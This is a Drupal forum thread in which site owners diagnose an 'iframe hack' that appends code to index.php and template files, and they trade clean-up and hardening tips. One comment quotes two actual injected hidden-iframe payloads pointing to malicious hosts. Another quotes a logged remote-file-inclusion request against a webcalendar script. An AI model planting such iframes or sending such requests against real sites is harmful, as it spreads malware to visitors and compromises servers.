By modul on

In another thread, http://drupal.org/node/229750, 3 separate cases of the "Iframe Hack" have been mentioned. I would like to start a new, more generalized thread about this apparently quite serious and dangerous thing. If you feed Google with "iframe hack" you can read for yourself, or check out these links which I took from the results: http://www.spam-whackers.com/blog/2007/09/27/iframe-hack/ and Dr. Dobbs refers to a TrendMicro article: http://blog.trendmicro.com/another-malware-pulls-an-italian-job/ . Now, I'm not sure if the hacks in the Drupal thread are the same as the ones described in these articles, but they do look alike.

The whole thing starts by adding some malicious Javascript to a site's index.php. From then on, it looks as if any visitor's computer can be infected, stuffed with keyloggers etc. etc.

Could any knowledgeable person out here take a look at the 229750 thread above, and also at the articles I mentioned? From what I read in TrendMicro, it's not exactly a new attack, but from the 3 cases mentioned higher the danger is obviously still lurking.

Question: what am I to think about all this? Is this danger still there? Are the 3 hacked sites isolated cases, or is there more trouble going on? And first and foremost: how can it be prevented that the malicious Javascript gets installed in the first place?

⋅ Categories: Drupal 4.7.x, Drupal 5.x, Drupal 6.x

Comments

yelvington’s picture

yelvington commented

Not a Drupal issue. If your Drupal files are being modified, you have a server security problem.

modul’s picture

modul commented

That depends. Security is usually a shared concern, of the server, definitely, but also of the site maintainer, and of the module writer. This iframe hack appears to be a bit of complicated matter, and I wouldn't dismiss it too soon as "not my business". And it's not my site which is being hacked, fyi, it's simply a matter which was discussed in another thread without a real conclusion, and I would like to make sure that there are no Drupal weaknesses involved.

yelvington’s picture

yelvington commented

I looked at the cited URLs. They refer to websites that are either malicious to begin with, or have been hacked. In the Drupal.org discussion you cited, the original poster referred to "extra code included at the bottom of the file."

If your executable files are being changed, then you have either a permissions problem (on a shared server) or an intrusion. Under no circumstances should a webserver be configured so that it can change executable files. Even if Drupal were full of security holes (which it is not), Drupal can not alter its own executable code on a properly configured server.

I'm eager to see bona fide security issues discovered (and reported properly to the security team) but this does not seem to be one.

It's possible for a site admin to allow users to post Javascript. The "Full HTML" filter is particularly dangerous and should not be made available to untrusted users.

jvandervort’s picture

jvandervort commented

This particular hack appended lines to the index.php file.
What if drupal's last line of the index.php was:

return 0;

or perhaps

exit;

Appended text might never be reached.

-John

-John

__gurk1__’s picture

__gurk1__ commented

My Drupal 5.2 site has been hacked, too. Someone added an iframe statement to index.php so that on every page of my site several windows popped up, asking users to install an .exe file to play porn videos. Actually, my site has become unusable because of all those windows popping up.

As I couldn't find the iframe statement neither in the MySQL database nor in any of the Drupal files (except for index.php) I didn't know how to get rid of the malicious code which modified my index.php.

For now, I blame a corrupt Webcalender distribution as the main security hole (working hypothesis):

Analyzing my downloaded infected site with AVG AntiVirus 7.5, a trojan horse was found in some of my Webcalendar files (Perl source code). I installed Drupal's webcal module together with a Webcalendar distribution a few months ago. Though I never used it on my site, the files still were on the server hosting my website (I simply forgot to delete them). I found some hidden subdirectories containing cron files.

Furthermore, browsing the log files I noticed a Brazilian server trying to access webcalendar/tools/send_reminders.php and webcalendar/ws/login.php?noSet=0&includedir=http://www.waddington.ws/xt.dat??? repeatedly.

By searching several pages of my site in Google's cache, I finally found out that the latest "clean" version of my website dated three days ago. I installed the corresponding backup copy of the entire site, deleted all of the Webcalendar files, upgraded to Drupal 5.7 (as I should have done earlier...), changed all of my passwords, changed permissions of index.php to "444" (as proposed in http://drupal.org/node/229750#comment-771532) and added a line of code at the end of index.php: return 0;. All in all it took me a whole day to restore my entire website and to apply updates and changes I made after the date of the last "clean" backup.

What I have learned:

  • Always upgrade to the latest Drupal version.
  • Set file permissions strictly.
  • Delete unused modules and add ons.
  • Make backup copies of your site regularly.

Until today, my site is still clean.

kvanderw’s picture

kvanderw commented

Last week, an old Drupal 4.7 site began to get hit.
the client has 2 sites on a shared server
One Drupal, one plain html.

This week, a brand new 6.12 site running on AT&T servers got hit.

Different hosting company for each.

the 'hack' code being input for the 4.7 site is

<iframe src="http://bigtopfestival.cn:8080/index.php" width=159 height=113 style="visibility: hidden"></iframe>

The 'hack' code for the 6.12 site is 

<iframe src="http://bigbestlite.cn:8080/index.php" width=134 height=127 style="visibility: hidden"></iframe>

Observations

  • It seems that the hack is targeting index.php, index.htm, index.html, and maintenance-page.tpl.php files.
  • The maintenance-page.tpl.php file indicates a knowledge of the 'file structure' for a drupal site.
  • The hacks themselves seem to be failures on the main drupal page index.php as each infestation simply terminates the running of the drupal site with an error. This is based on the fact that there is no closing "?>" tag on the index.php file.
  • We setup a client with an iframe on the maintenance-page.tpl.php file so they could 'maint' another part of their site while the Drupal part was in maintenance mode. In their case, the hack REPLACED our iframe snippet with theirs.
  • The maintenance-page.tpl.php file is only executed when the website is in maintenance mode.
  • if the site is maintaining subdirectories with plain html, those directories are vulnerable
  • the hack processes the entire directory structure looking for the target files.
  • if there is a "<body" tag, the hack appends/replaces an iframe to it
  • if no "<body" tag exists, the iframe statement is placed at the end of the file.
  • from the standpoint of the Drupal sites we have seen hit, it seems to be more of an annoyance then a danger. The site stops working instead of 'infecting' as the hack intended. In the case of plain html pages, it does the intended job. We were notified the first time by the plain html side getting reports from their clients that there was a virus on their home page.

Corrections:
* The infected files have been repaired
* the permissions for all infected files has been set to 444

PAULSPEED’s picture

PAULSPEED commented

I have been changing the index.php daily.

I now have new passwords.

I set index.php to read settings.
Paul